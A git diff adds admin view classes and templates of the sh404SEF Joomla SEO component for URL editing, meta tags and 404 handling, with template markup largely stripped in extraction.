$this->layoutRenderer['custom'] = new ShlMvcLayout_File('com_sh404sef.form.fields.custom', sh404SEF_LAYOUTS); + $this->layoutRenderer['shlegend'] = new ShlMvcLayout_File('com_sh404sef.configuration.fields.legend', sh404SEF_LAYOUTS); + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/configuration.css'); + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/j3_list.css'); + + // add tooltips + // @TODO replace with a viable jQuery equivalent + JHTML::_('behavior.tooltip'); + } + else + { + // build the toolbar + $toolBar = $this->_makeToolbar(); + $this->toolbar = $toolBar; + $this->toolbarTitle = Sh404sefHelperGeneral::makeToolbarTitle($title, $icon = 'sh404sef', $class = 'sh404sef-toolbar-title'); + + // add tooltips + JHTML::_('behavior.tooltip'); + + // link to custom javascript + JHtml::script(Sh404sefHelperGeneral::getComponentUrl() . '/assets/js/' . $this->joomlaVersionPrefix . '_edit.js'); + } + + // add link to css + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/' . $this->joomlaVersionPrefix . '_editurl.css'); + + // now display normally + parent::display($this->joomlaVersionPrefix); + } + + private function _pushDataSocial_seo() + { + // Open graph data params + $ogData['og_enable'] = Sh404sefHelperHtml::buildBooleanAndDefaultSelectList($this->meta->og_enable, 'og_enable'); + $ogData['og_type'] = Sh404sefHelperOgp::buildOpenGraphTypesList($this->meta->og_type, 'og_type', $autoSubmit = false, + $addSelectDefault = true, $selectDefaultTitle = JText::_('JOPTION_USE_DEFAULT'), $customSubmit = ''); + $ogData['og_image'] = $this->meta->og_image; + $ogData['og_enable_description'] = Sh404sefHelperHtml::buildBooleanAndDefaultSelectList($this->meta->og_enable_description, + 'og_enable_description'); + $ogData['og_enable_site_name'] = Sh404sefHelperHtml::buildBooleanAndDefaultSelectList($this->meta->og_enable_site_name, 'og_enable_site_name'); + $ogData['og_enable_fb_admin_ids'] = Sh404sefHelperHtml::buildBooleanAndDefaultSelectList($this->meta->og_enable_fb_admin_ids, + 'og_enable_fb_admin_ids'); + $ogData['og_site_name'] = $this->meta->og_site_name; + $ogData['fb_admin_ids'] = $this->meta->fb_admin_ids; + + $ogData['og_enable_location'] = Sh404sefHelperHtml::buildBooleanAndDefaultSelectList($this->meta->og_enable_location, 'og_enable_location'); + $ogData['og_latitude'] = $this->meta->og_latitude; + $ogData['og_longitude'] = $this->meta->og_longitude; + $ogData['og_street_address'] = $this->meta->og_street_address; + $ogData['og_locality'] = $this->meta->og_locality; + $ogData['og_postal_code'] = $this->meta->og_postal_code; + $ogData['og_region'] = $this->meta->og_region; + $ogData['og_country_name'] = $this->meta->og_country_name; + + $ogData['og_enable_contact'] = Sh404sefHelperHtml::buildBooleanAndDefaultSelectList($this->meta->og_enable_contact, 'og_enable_contact'); + $ogData['og_email'] = $this->meta->og_email; + $ogData['og_phone_number'] = $this->meta->og_phone_number; + $ogData['og_fax_number'] = $this->meta->og_fax_number; + + //push params in to view + $this->ogData = $ogData; + + // twitter cards data + $this->twCardsData = array(); + $enabled = isset($this->meta->twittercards_enable) ? $this->meta->twittercards_enable : SH404SEF_OPTION_VALUE_USE_DEFAULT; + $this->twCardsData['twittercards_enable'] = Sh404sefHelperHtml::buildBooleanAndDefaultSelectList($enabled, 'twittercards_enable'); + $this->twCardsData['twittercards_site_account'] = $this->meta->twittercards_site_account; + $this->twCardsData['twittercards_creator_account'] = $this->meta->twittercards_creator_account; + + // google authorship + $this->googleAuthorshipData = array(); + $enabled = isset($this->meta->google_authorship_enable) ? $this->meta->google_authorship_enable : SH404SEF_OPTION_VALUE_USE_DEFAULT; + $this->googleAuthorshipData['google_authorship_enable'] = Sh404sefHelperHtml::buildBooleanAndDefaultSelectList($enabled, 'google_authorship_enable'); + $this->googleAuthorshipData['google_authorship_author_profile'] = $this->meta->google_authorship_author_profile; + $this->googleAuthorshipData['google_authorship_author_name'] = $this->meta->google_authorship_author_name; + + // google authorship + $this->googlePublisherData = array(); + $enabled = isset($this->meta->google_publisher_enable) ? $this->meta->google_publisher_enable : SH404SEF_OPTION_VALUE_USE_DEFAULT; + $this->googlePublisherData['google_publisher_enable'] = Sh404sefHelperHtml::buildBooleanAndDefaultSelectList($enabled, 'google_publisher_enable'); + $this->googlePublisherData['google_publisher_url'] = $this->meta->google_publisher_url; + } + + /** + * Create toolbar for current view + * + * @param midxed $params + */ + private function _makeToolbar($params = null) + { + // Get the JComponent instance of JToolBar + $bar = JToolBar::getInstance('toolbar'); + + // add save button as an ajax call + $bar->addButtonPath(JPATH_COMPONENT . '/' . 'classes'); + $params['class'] = 'modalediturl'; + $params['id'] = 'modalediturlsave'; + $params['closewindow'] = 1; + $bar->appendButton('Shajaxbutton', 'save', 'Save', "index.php?option=com_sh404sef&c=editurl&task=save&shajax=1&tmpl=component", $params); + + // add apply button as an ajax call + $params['id'] = 'modalediturlapply'; + $params['closewindow'] = 0; + $bar->appendButton('Shajaxbutton', 'apply', 'Apply', "index.php?option=com_sh404sef&c=editurl&task=apply&shajax=1&tmpl=component", $params); + + // other button are standards + $bar->appendButton('Standard', 'back', 'Back', 'back', false, false); + JToolBarHelper::cancel('cancel'); + + return $bar; + } + + private function _getActiveStartingPanel() + { + switch ($this->startOffset) + { + case 1: + $active = 'seo'; + break; + case 2: + $active = 'aliases'; + break; + case 3: + $ative = 'social_seo'; + break; + default: + if ($this->home) + { + $active = 'seo'; + } + else + { + $active = 'editurl'; + } + break; + } + + return $active; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/view.html.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/view.html.php new file mode 100644 index 00000000..49b95c77 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/view.html.php @@ -0,0 +1,17 @@ +setMimeEncoding( 'text/xml'); + + // call helper to prepare response xml file content + $response = Sh404sefHelperGeneral::prepareAjaxResponse( $this); + + // echo it + echo $response; + + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/views/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/metas/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/views/metas/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/metas/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/metas/tmpl/default_j2.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/metas/tmpl/default_j2.full.php new file mode 100644 index 00000000..c4fc19ec --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/metas/tmpl/default_j2.full.php @@ -0,0 +1,178 @@ + + +
    +
    +
    +
    + errors)) : ?> +
    +
      + errors as $error) : + echo '
    • ' . $error . '
    • '; + endforeach; + ?> +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + helpMessage)) echo $this->helpMessage; ?> + message)) : ?> +
      +
    • message)) echo $this->message; ?>
    • +
    + +
    +
    +
    + +
    + +loadTemplate( $this->joomlaVersionPrefix . '_filters')?> + +
    + + + + + + + + + + + + + + + + + + + + + + itemCount > 0 ) { + for ($i=0; $i < $this->itemCount; $i++) { + + $url = &$this->items[$i]; + $nonSefUrl = empty($url->newurl) ? ( empty($url->nonsefurl) ? '' : $url->nonsefurl) : $url->newurl; + $custom = !empty($url->newurl) && $url->dateadd != '0000-00-00' ? 'Custom' : ' '; + ?> + + "> + + + + + + + + + + + + + + + + + + + +
    + + + + + options->filter_order_Dir, $this->options->filter_order); ?> + + + + +
    + pagination->getListFooter(); ?> +
    + pagination->getRowOffset( $i ); ?> + + + + id.']" value="'.(empty($url->metaid) ? 0 : $url->metaid).'" />'; + echo ''; + // link to full meta edit + $anchor = empty($url->oldurl) ? '(-)' : $this->escape( $url->oldurl); + $anchor .= '
    (' . $this->escape( $nonSefUrl) . ')'; + + $linkData = array( 'c' => 'editurl', 'task' => 'edit', 'view' => 'editurl', 'startOffset' => '1','cid[]' => $url->id, 'tmpl' => 'component'); + $metaData = array( 'title' => JText::_('COM_SH404SEF_MODIFY_META_TITLE') . ' ' .$url->oldurl, 'class' => 'modalediturl', 'anchor' => $anchor); + $modalOptions = array( 'size' => array('x' =>800, 'y' => 600)); + echo Sh404sefHelperHtml::makeLink( $this, $linkData, $metaData, $modal = true, $modalOptions, $hasTip = false, $extra = ''); + + // small preview icon + $sefConfig = & Sh404sefFactory::getConfig(); + $link = JURI::root() . ltrim( $sefConfig->shRewriteStrings[$sefConfig->shRewriteMode], '/') . (empty($url->oldurl) ? $nonSefUrl : $url->oldurl); + echo ' '; + echo '\''.JText::_('COM_SH404SEF_PREVIEW').'\''; + echo ''; + ?> +
    + + + + + + + +
    + +
    + + + + + + + + + + + + +
    +
    + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/metas/tmpl/default_j2.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/metas/tmpl/default_j2.php new file mode 100644 index 00000000..e2570697 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/metas/tmpl/default_j2.php @@ -0,0 +1,17 @@ + + + + + + + + + + + + + +
    + : + + + + +   + + optionsSelect->components; ?> + + optionsSelect->languages; ?> + + optionsSelect->filter_url_type; ?> + + optionsSelect->filter_title; ?> + + optionsSelect->filter_desc; ?> +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/metas/tmpl/default_j3.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/metas/tmpl/default_j3.full.php new file mode 100644 index 00000000..c8477cb1 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/metas/tmpl/default_j3.full.php @@ -0,0 +1,202 @@ + +
     
    + + +
    + +
    + +
    + + +
    + +
    + + +
    +sidebar; +?> +
    + + +
    + + + +
    + +
    + + +
    + + +
    +
    + helpMessage, $type = 'info', $dismiss = true); + echo Sh404sefHelperLanguage::getLanguageFilterWarning(); + ?> + +
    + + + + + + + + + + + + + + + + + + + + + + + itemCount > 0 ) { + for ($i=0; $i < $this->itemCount; $i++) { + + $url = &$this->items[$i]; + $nonSefUrl = empty($url->newurl) ? ( empty($url->nonsefurl) ? '' : $url->nonsefurl) : $url->newurl; + $custom = !empty($url->newurl) && $url->dateadd != '0000-00-00' ? ShlHtmlBs_Helper::iconglyph('', 'wrench', JText::_('COM_SH404SEF_CUSTOM_URL_LINK_TITLE')) : ' '; + ?> + + + + + + + + + + + + + + + + + + + + + +
      + + + + options->filter_order_Dir, $this->options->filter_order); ?> + + + + +
    + ' . $this->pagination->getListFooter() . ''; ?> +
    + pagination->getRowOffset( $i ); ?> + + + + id.']" value="'.(empty($url->metaid) ? 0 : $url->metaid).'" />'; + echo ''; + // link to full meta edit + $anchor = empty($url->oldurl) ? '(-)' : $this->escape( $url->oldurl); + $anchor .= '
    (' . $this->escape( $nonSefUrl) . ')'; + + $params = array(); + $linkData = array( 'c' => 'editurl', 'task' => 'edit', 'view' => 'editurl', 'startOffset' => '1','cid[]' => $url->id, 'tmpl' => 'component'); + $targetUrl = Sh404sefHelperUrl::buildUrl($linkData); + $params['linkTitle'] = Sh404sefHelperHtml::abridge(JText::_('COM_SH404SEF_MODIFY_LINK_TITLE'). ' ' . $this->escape($url->oldurl), 'editurl'); + $modalTitle = ''; + $name = '-editurl-' . $url->id; + $params['linkClass'] = 'shl-list-sef'; + $params['linkType'] = 'a'; + echo ShlHtmlModal_helper::modalLink($name, $anchor, $targetUrl, Sh404sefFactory::getPConfig()->windowSizes['editurl']['x'], Sh404sefFactory::getPConfig()->windowSizes['editurl']['y'], $top = 0, $left = 0, $onClose = '', $modalTitle, $params); + + // small preview icon + $sefConfig = & Sh404sefFactory::getConfig(); + $link = JURI::root() . ltrim( $sefConfig->shRewriteStrings[$sefConfig->shRewriteMode], '/') . (empty($url->oldurl) ? $nonSefUrl : $url->oldurl); + echo ' '; + echo '\''.JText::_('COM_SH404SEF_PREVIEW').'\''; + echo ''; + + // attach an input counter to the title input boxes + echo ShlHtmlBs_Helper::renderInputCounter( 'metatitle' . $url->id, Sh404sefFactory::getPConfig()->metaDataSpecs['metatitle']); + echo ShlHtmlBs_Helper::renderInputCounter( 'metadesc' . $url->id, Sh404sefFactory::getPConfig()->metaDataSpecs['metadesc']); + + ?> +
    + + + +
    + +
    + +
    + +
    + + +
    + + + + + + + + + + + + + + +
    +
    +
    + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/metas/tmpl/default_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/metas/tmpl/default_j3.php new file mode 100644 index 00000000..e2570697 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/metas/tmpl/default_j3.php @@ -0,0 +1,17 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/metas/view.html.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/metas/view.html.full.php new file mode 100644 index 00000000..593dda64 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/metas/view.html.full.php @@ -0,0 +1,335 @@ +joomlaVersionPrefix = Sh404sefHelperGeneral::getJoomlaVersionPrefix(); + $this->footerText = JText::sprintf('COM_SH404SEF_FOOTER_' . strtoupper(Sh404sefConfigurationEdition::$id), + Sh404sefFactory::getConfig()->version, Sh404sefConfigurationEdition::$name, date('Y')); + + // get model and update context with current + $model = ShlMvcModel_Base::getInstance('urls', 'Sh404sefModel'); + $context = $model->setContext($this->_context . '.' . $this->getLayout()); + + // display type: simple for very large sites/slow slq servers + $sefConfig = Sh404sefFactory::getConfig(); + + // store it + $model = $this->setModel($model, true); + + // read data from model + $list = $model + ->getList( + (object) array('layout' => $this->getLayout(), 'getMetaData' => true, 'simpleUrlList' => true, 'slowServer' => $sefConfig->slowServer)); + + // and push it into the view for display + $this->items = $list; + $this->itemCount = count($this->items); + $this->contentcs = Sh404sefHelperGeneral::getDataMD5($this->items, array('metatitle', 'metadesc')); + $this->pagination = $model + ->getPagination((object) array('layout' => $this->getLayout(), 'simpleUrlList' => true, 'slowServer' => $sefConfig->slowServer)); + $options = $model->getDisplayOptions(); + $this->options = $options; + $this->helpMessage = JText::_('COM_SH404SEF_META_HELP'); + + if (version_compare(JVERSION, '3.0', 'ge')) + { + $document = JFactory::getDocument(); + + // add our own css and js + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/' . $this->joomlaVersionPrefix . '_list.css'); + JHtml::script(Sh404sefHelperGeneral::getComponentUrl() . '/assets/js/shajax.js'); + JHtml::script(Sh404sefHelperGeneral::getComponentUrl() . '/assets/js/j3.js'); + + // add modal css and js + ShlHtmlBs_helper::addBootstrapCss(JFactory::getDocument()); + ShlHtmlBs_helper::addBootstrapJs(JFactory::getDocument()); + + // variable for modal, not used in 3..x+ + $params = array(); + + $this->_addFilters(); + + // render submenu sidebar + $this->sidebar = Sh404sefHelperHtml::renderSubmenu(); + } + else + { + // add our own css + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/' . $this->joomlaVersionPrefix . '_urls.css'); + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/list.css'); + + // link to custom javascript + JHtml::script(Sh404sefHelperGeneral::getComponentUrl() . '/assets/js/list.js'); + JHtml::script(Sh404sefHelperGeneral::getComponentUrl() . '/assets/js/metas.js'); + + // add behaviors and styles as needed + $modalSelector = 'a.modalediturl'; + $js = '\\function(){window.parent.shAlreadySqueezed = false;if(window.parent.shReloadModal) {parent.window.location=\'' + . $this->defaultRedirectUrl . '\';window.parent.shReloadModal=true}}'; + $params = array('overlayOpacity' => 0, 'classWindow' => 'sh404sef-popup', 'classOverlay' => 'sh404sef-popup', 'onClose' => $js); + Sh404sefHelperHtml::modal($modalSelector, $params); + + $this->optionsSelect = $this->_makeOptionsSelect($options); + + } + + // build the toolbar + $toolbarMethod = '_makeToolbar' . ucfirst($this->getLayout() . ucfirst($this->joomlaVersionPrefix)); + if (is_callable(array($this, $toolbarMethod))) + { + $this->$toolbarMethod($params); + } + + // now display normally + parent::display($this->joomlaVersionPrefix); + } + + /** + * Create toolbar for default layout view + * + * @param midxed $params + */ + private function _makeToolbarDefaultJ2($params = null) + { + // add title + $title = Sh404sefHelperGeneral::makeToolbarTitle(JText::_('COM_SH404SEF_META_TAGS'), $icon = 'sh404sef', $class = 'sh404sef-toolbar-title'); + JFactory::getApplication()->JComponentTitle = $title; + + // get toolbar object + $bar = JToolBar::getInstance('toolbar'); + $bar->addButtonPath(JPATH_COMPONENT . '/' . 'classes'); + + // add import button + $params['class'] = 'modaltoolbar'; + $params['size'] = array('x' => 500, 'y' => 380); + unset($params['onClose']); + $url = 'index.php?option=com_sh404sef&c=wizard&task=start&tmpl=component&optype=import&opsubject=urls'; // importing metas is same as importing urls, as export format is same + $bar + ->appendButton('Shpopuptoolbarbutton', 'import', $url, JText::_('COM_SH404SEF_IMPORT_BUTTON'), $msg = '', $task = 'import', + $list = false, $hidemenu = true, $params); + + // add export button + $params['class'] = 'modaltoolbar'; + $params['size'] = array('x' => 500, 'y' => 380); + unset($params['onClose']); + $url = 'index.php?option=com_sh404sef&c=wizard&task=start&tmpl=component&optype=export&opsubject=metas'; + $bar + ->appendButton('Shpopuptoolbarbutton', 'export', $url, JText::_('COM_SH404SEF_EXPORT_BUTTON'), $msg = '', $task = 'export', + $list = false, $hidemenu = true, $params); + + // separator + JToolBarHelper::divider(); + + // edit home page button + $params['class'] = 'modalediturl'; + $params['size'] = array('x' => 800, 'y' => 600); + $js = '\\function(){window.parent.shAlreadySqueezed = false;if(window.parent.shReloadModal) parent.window.location=\'' + . $this->defaultRedirectUrl . '\';window.parent.shReloadModal=true}'; + $params['onClose'] = $js; + $bar + ->appendButton('Shpopupbutton', 'home', JText::_('COM_SH404SEF_HOME_PAGE_ICON'), + "index.php?option=com_sh404sef&c=editurl&task=edit&home=1&tmpl=component", $params); + + // separator + JToolBarHelper::divider(); + + // add save button as an ajax call + $bar->addButtonPath(JPATH_COMPONENT . '/' . 'classes'); + $params['class'] = 'savemeta'; + $params['id'] = 'savemeta'; + $params['closewindow'] = 0; + $bar->appendButton('Shajaxbutton', 'save', 'Save', "index.php?option=com_sh404sef&c=metas&task=save&shajax=1&tmpl=component", $params); + + // separator + JToolBarHelper::divider(); + + // add modal handler for configuration + JHTML::_('behavior.modal'); + $configbtn = '' + . JText::_('COM_SH404SEF_CONFIGURATION') . ''; + $bar->appendButton('custom', $configbtn, 'sh-configbutton-button'); + } + + /** + * Create toolbar for default layout view + * + * @param midxed $params + */ + private function _makeToolbarDefaultJ3($params = null) + { + // add title + JToolbarHelper::title('sh404SEF: ' . JText::_('COM_SH404SEF_META_TAGS'), 'sh404sef-toolbar-title'); + + // add "New url" button + $bar = JToolBar::getInstance('toolbar'); + + // prepare configuration button + $bar->addButtonPath(SHLIB_ROOT_PATH . 'toolbarbutton'); + + $params = array(); + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['import']; + $params['buttonClass'] = 'btn btn-small'; + $params['iconClass'] = 'icon-upload'; + $params['checkListSelection'] = false; + $url = 'index.php?option=com_sh404sef&c=wizard&task=start&tmpl=component&optype=import&opsubject=urls'; + $bar + ->appendButton('J3popuptoolbarbutton', 'import', JText::_('COM_SH404SEF_IMPORT_BUTTON'), $url, $params['size']['x'], + $params['size']['y'], $top = 0, $left = 0, $onClose = '', $title = JText::_('COM_SH404SEF_IMPORTING_TITLE'), $params); + + // add import button + $params = array(); + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['export']; + $params['buttonClass'] = 'btn btn-small'; + $params['iconClass'] = 'icon-download'; + $params['checkListSelection'] = false; + $url = 'index.php?option=com_sh404sef&c=wizard&task=start&tmpl=component&optype=export&opsubject=metas'; + $bar + ->appendButton('J3popuptoolbarbutton', 'export', JText::_('COM_SH404SEF_EXPORT_BUTTON'), $url, $params['size']['x'], + $params['size']['y'], $top = 0, $left = 0, $onClose = '', $title = JText::_('COM_SH404SEF_EXPORTING_TITLE'), $params); + + // separator + JToolBarHelper::spacer(20); + + // edit home page button + $params = array(); + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['editurl']; + $params['buttonClass'] = 'btn btn-small'; + $params['iconClass'] = 'icon-home'; + $params['checkListSelection'] = false; + $url = 'index.php?option=com_sh404sef&c=editurl&task=edit&home=1&tmpl=component'; + $bar + ->appendButton('J3popuptoolbarbutton', 'home', JText::_('COM_SH404SEF_HOME_PAGE_ICON'), $url, $params['size']['x'], $params['size']['y'], + $top = 0, $left = 0, $onClose = '', $title = JText::_('COM_SH404SEF_HOME_PAGE_EDIT_TITLE'), $params); + + // separator + JToolBarHelper::spacer(20); + + // add save button + $params = array(); + $params['buttonClass'] = 'btn btn-small btn-primary'; + $params['iconClass'] = 'icon-apply icon-white'; + $params['closewindow'] = 0; + $url = 'index.php?option=com_sh404sef&c=metas&task=save&shajax=1&tmpl=component'; + $bar->appendButton('J3Shajaxtoolbarbutton', 'save', JText::_('JAPPLY'), $url, $params); + + // separator + JToolBarHelper::spacer(20); + + // prepare configuration button + $params = array(); + $params['class'] = 'modaltoolbar btn-success'; + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['configuration']; + $params['buttonClass'] = 'btn-success btn btn-small modal'; + $params['iconClass'] = 'icon-options'; + $url = 'index.php?option=com_sh404sef&tmpl=component&c=configuration&view=configuration&component=com_sh404sef&hidemainmenu=1'; + $bar + ->appendButton('J3popuptoolbarbutton', 'configj3', JText::_('COM_SH404SEF_CONFIGURATION'), $url, $params['size']['x'], + $params['size']['y'], $top = 0, $left = 0, $onClose = '', $title = '', $params); + + // separator + JToolBarHelper::spacer(20); + + // save progress div + $html = '
     
    '; + $bar->appendButton('custom', $html, 'sh-progress-button-cpprogress'); + } + + private function _makeOptionsSelect($options) + { + $selects = new StdClass(); + + // component list + $current = $options->filter_component; + $name = 'filter_component'; + $selectAllTitle = JText::_('COM_SH404SEF_ALL_COMPONENTS'); + $selects->components = Sh404sefHelperHtml::buildComponentsSelectList($current, $name, $autoSubmit = true, $addSelectAll = true, + $selectAllTitle); + + // language list + $current = $options->filter_language; + $name = 'filter_language'; + $selectAllTitle = JText::_('COM_SH404SEF_ALL_LANGUAGES'); + $selects->languages = Sh404sefHelperHtml::buildLanguagesSelectList($current, $name, $autoSubmit = true, $addSelectAll = true, $selectAllTitle); + + // select custom + $current = $options->filter_url_type; + $name = 'filter_url_type'; + $selectAllTitle = JText::_('COM_SH404SEF_ALL_URL_TYPES'); + $data = array(array('id' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_CUSTOM, 'title' => JText::_('COM_SH404SEF_ONLY_CUSTOM')), + array('id' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_AUTO, 'title' => JText::_('COM_SH404SEF_ONLY_AUTO'))); + $selects->filter_url_type = Sh404sefHelperHtml::buildSelectList($data, $current, $name, $autoSubmit = true, $addSelectAll = true, + $selectAllTitle); + + // select title + $current = $options->filter_title; + $name = 'filter_title'; + $selectAllTitle = JText::_('COM_SH404SEF_ALL_TITLE'); + $data = array(array('id' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_TITLE, 'title' => JText::_('COM_SH404SEF_ONLY_TITLE')), + array('id' => Sh404sefHelperGeneral::COM_SH404SEF_NO_TITLE, 'title' => JText::_('COM_SH404SEF_NO_TITLE'))); + $selects->filter_title = Sh404sefHelperHtml::buildSelectList($data, $current, $name, $autoSubmit = true, $addSelectAll = true, + $selectAllTitle); + + // select description + $current = $options->filter_desc; + $name = 'filter_desc'; + $selectAllTitle = JText::_('COM_SH404SEF_ALL_DESC'); + $data = array(array('id' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_DESC, 'title' => JText::_('COM_SH404SEF_ONLY_DESC')), + array('id' => Sh404sefHelperGeneral::COM_SH404SEF_NO_DESC, 'title' => JText::_('COM_SH404SEF_NO_DESC'))); + $selects->filter_desc = Sh404sefHelperHtml::buildSelectList($data, $current, $name, $autoSubmit = true, $addSelectAll = true, $selectAllTitle); + + // return set of select lists + return $selects; + } + + private function _addFilters() + { + // component selector + JHtmlSidebar::addFilter(JText::_('COM_SH404SEF_ALL_COMPONENTS'), 'filter_component', + JHtml::_('select.options', Sh404sefHelperGeneral::getComponentsList(), 'element', 'name', $this->options->filter_component, true)); + + // language list + JHtmlSidebar::addFilter(JText::_('COM_SH404SEF_ALL_LANGUAGES'), 'filter_language', + JHtml::_('select.options', JHtml::_('contentlanguage.existing', $all = false, $translate = true), 'value', 'text', + $this->options->filter_language, false)); + + // select custom + $data = array(array('value' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_CUSTOM, 'text' => JText::_('COM_SH404SEF_ONLY_CUSTOM')), + array('value' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_AUTO, 'text' => JText::_('COM_SH404SEF_ONLY_AUTO'))); + JHtmlSidebar::addFilter(JText::_('COM_SH404SEF_ALL_URL_TYPES'), 'filter_url_type', + JHtml::_('select.options', $data, 'value', 'text', $this->options->filter_url_type, true)); + + // filter on title presence + $data = array(array('value' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_TITLE, 'text' => JText::_('COM_SH404SEF_ONLY_TITLE')), + array('value' => Sh404sefHelperGeneral::COM_SH404SEF_NO_TITLE, 'text' => JText::_('COM_SH404SEF_NO_TITLE'))); + JHtmlSidebar::addFilter(JText::_('COM_SH404SEF_ALL_TITLE'), 'filter_title', + JHtml::_('select.options', $data, 'value', 'text', $this->options->filter_title, true)); + + // filter on description presence + $data = array(array('value' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_DESC, 'text' => JText::_('COM_SH404SEF_ONLY_DESC')), + array('value' => Sh404sefHelperGeneral::COM_SH404SEF_NO_DESC, 'text' => JText::_('COM_SH404SEF_NO_DESC'))); + JHtmlSidebar::addFilter(JText::_('COM_SH404SEF_ALL_DESC'), 'filter_desc', + JHtml::_('select.options', $data, 'value', 'text', $this->options->filter_desc, true)); + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/metas/view.html.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/metas/view.html.php new file mode 100644 index 00000000..cb62a601 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/metas/view.html.php @@ -0,0 +1,17 @@ +setMimeEncoding( 'text/xml'); + + // call helper to prepare response xml file content + $response = Sh404sefHelperGeneral::prepareAjaxResponse( $this); + + // echo it + echo $response; + + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/tmpl/default_j2.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/tmpl/default_j2.php new file mode 100644 index 00000000..018f653d --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/tmpl/default_j2.php @@ -0,0 +1,226 @@ + + +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    + toolbar->render(); ?> + toolbarTitle; ?> +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    ' . $this->mainTitle . ' ' . $this->escape( $this->url->get('oldurl')); ?>
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + +
    + +
    +
    +
    +
    + errors)) : ?> +
    +
      + errors as $error) : + echo '
    • ' . $error . '
    • '; + endforeach; + ?> +
    +
    + +
    +
    +
    + + alertMsg)) : ?> +
    escape( $this->alertMsg); ?>
    + + +
    +
    +
    +
    + message)) : ?> +
      +
    • message)) echo $this->message; ?>
    • +
    + +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    + +
    + +loadTemplate( $this->joomlaVersionPrefix . '_filters')?> + +
    + + + + + + + + + + + + + + + + + itemCount > 0 ) { + for ($i=0; $i < $this->itemCount; $i++) { + + $url = &$this->items[$i]; + $checked = JHtml::_( 'grid.id', $i, $url->id); + $custom = !empty($url->newurl) && $url->dateadd != '0000-00-00' ? 'Custom' : ' '; + $alt = JText::sprintf('COM_SH404SEF_NOT_FOUND_REDIRECT_TO', $this->escape( $this->url->get('oldurl')), $this->escape($url->oldurl)); + $oldUrl = ' + '.$this->escape($url->oldurl).''; + ?> + "> + + + + + + + + + + + + + + +
    + + + + + + + options->filter_similar_urls == 0) { + echo JHTML::_('grid.sort', JText::_( 'COM_SH404SEF_SEF_URL'), 'oldurl', $this->options->filter_order_Dir, $this->options->filter_order); + } else { + echo JText::_( 'COM_SH404SEF_SEF_URL'); + } + ?> + + +
    + pagination->getListFooter(); ?> +
    + pagination->getRowOffset( $i ); ?> + + + + pageid) ? '' : $this->escape($url->pageid); + ?> + + + + +
    + +
    + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + +
